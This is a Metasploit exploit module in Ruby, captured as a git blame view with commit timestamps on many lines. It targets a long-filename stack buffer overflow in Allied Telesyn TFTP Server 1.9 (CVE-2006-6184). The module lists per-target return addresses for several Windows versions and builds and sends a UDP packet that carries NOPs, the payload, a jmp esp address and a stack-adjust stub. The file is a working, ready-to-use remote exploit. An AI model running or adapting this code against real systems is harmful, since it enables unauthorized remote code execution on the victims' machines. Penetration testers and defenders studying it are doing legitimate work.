2007-09-09 22:42:14 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-02-15 00:48:03 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-09-09 22:42:14 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-09-09 22:42:14 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2007-09-09 22:42:14 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Udp
|
2007-09-09 22:42:14 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Allied Telesyn TFTP Server 1.9 Long Filename Overflow',
|
|
|
|
'Description' => %q{
|
2010-05-24 14:56:49 +00:00
|
|
|
This module exploits a stack buffer overflow in AT-TFTP v1.9, by sending a
|
2007-09-09 22:42:14 +00:00
|
|
|
request (get/write) for an overly long file name.
|
|
|
|
},
|
2011-04-11 02:25:36 +00:00
|
|
|
'Author' => [ 'patrick' ],
|
2007-09-09 22:42:14 +00:00
|
|
|
'Version' => '$Revision$',
|
2010-02-15 00:48:03 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2007-09-09 22:42:14 +00:00
|
|
|
['CVE', '2006-6184'],
|
2009-05-12 19:56:54 +00:00
|
|
|
['OSVDB', '11350'],
|
|
|
|
['BID', '21320'],
|
2011-12-13 22:13:53 +00:00
|
|
|
['URL','http://www.exploit-db.com/exploits/2887/'],
|
2011-06-06 20:29:02 +00:00
|
|
|
['URL', 'ftp://guest:guest@ftp.alliedtelesyn.co.uk/pub/utilities/at-tftpd19.zip'],
|
2007-09-09 22:42:14 +00:00
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 210,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
# Patrick - Tested OK w2k sp0, sp4, xp sp 0, xp sp2 - en 2007/08/24
|
|
|
|
[ 'Windows NT SP4 English', { 'Ret' => 0x702ea6f7 } ],
|
2010-05-24 14:56:49 +00:00
|
|
|
[ 'Windows 2000 SP0 English', { 'Ret' => 0x750362c3 } ],
|
|
|
|
[ 'Windows 2000 SP1 English', { 'Ret' => 0x75031d85 } ],
|
|
|
|
[ 'Windows 2000 SP2 English', { 'Ret' => 0x7503431b } ],
|
|
|
|
[ 'Windows 2000 SP3 English', { 'Ret' => 0x74fe1c5a } ],
|
|
|
|
[ 'Windows 2000 SP4 English', { 'Ret' => 0x75031dce } ],
|
|
|
|
[ 'Windows XP SP0/1 English', { 'Ret' => 0x71ab7bfb } ],
|
2007-09-09 22:42:14 +00:00
|
|
|
[ 'Windows XP SP2 English', { 'Ret' => 0x71ab9372 } ],
|
2011-06-06 20:29:02 +00:00
|
|
|
[ 'Windows XP SP3 English', { 'Ret' => 0x7e429353 } ], # ret by c0re
|
2011-03-05 21:00:57 +00:00
|
|
|
[ 'Windows Server 2003', { 'Ret' => 0x7c86fed3 } ], # ret donated by securityxxxpert
|
2011-03-30 16:24:52 +00:00
|
|
|
[ 'Windows Server 2003 SP2', { 'Ret' => 0x7c86a01b } ], # ret donated by Polar Bear
|
2007-09-09 22:42:14 +00:00
|
|
|
],
|
|
|
|
'Privileged' => false,
|
2011-05-04 20:43:19 +00:00
|
|
|
'DisclosureDate' => 'Nov 27 2006'))
|
2007-09-09 22:42:14 +00:00
|
|
|
|
2010-05-24 14:56:49 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(69),
|
|
|
|
Opt::LHOST() # Required for stack offset
|
|
|
|
], self.class)
|
2007-09-09 22:42:14 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect_udp
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2007-09-09 22:42:14 +00:00
|
|
|
sploit = "\x00\x02" + make_nops(25 - datastore['LHOST'].length)
|
|
|
|
sploit << payload.encoded
|
|
|
|
sploit << [target['Ret']].pack('V') # <-- eip = jmp esp. we control it.
|
|
|
|
sploit << "\x83\xc4\x28\xc3" # <-- esp = add esp 0x28 + retn
|
|
|
|
sploit << "\x00" + "netascii" + "\x00"
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2007-09-09 22:42:14 +00:00
|
|
|
udp_sock.put(sploit)
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2007-09-09 22:42:14 +00:00
|
|
|
disconnect_udp
|
|
|
|
end
|
|
|
|
|
2009-05-12 19:56:54 +00:00
|
|
|
end
|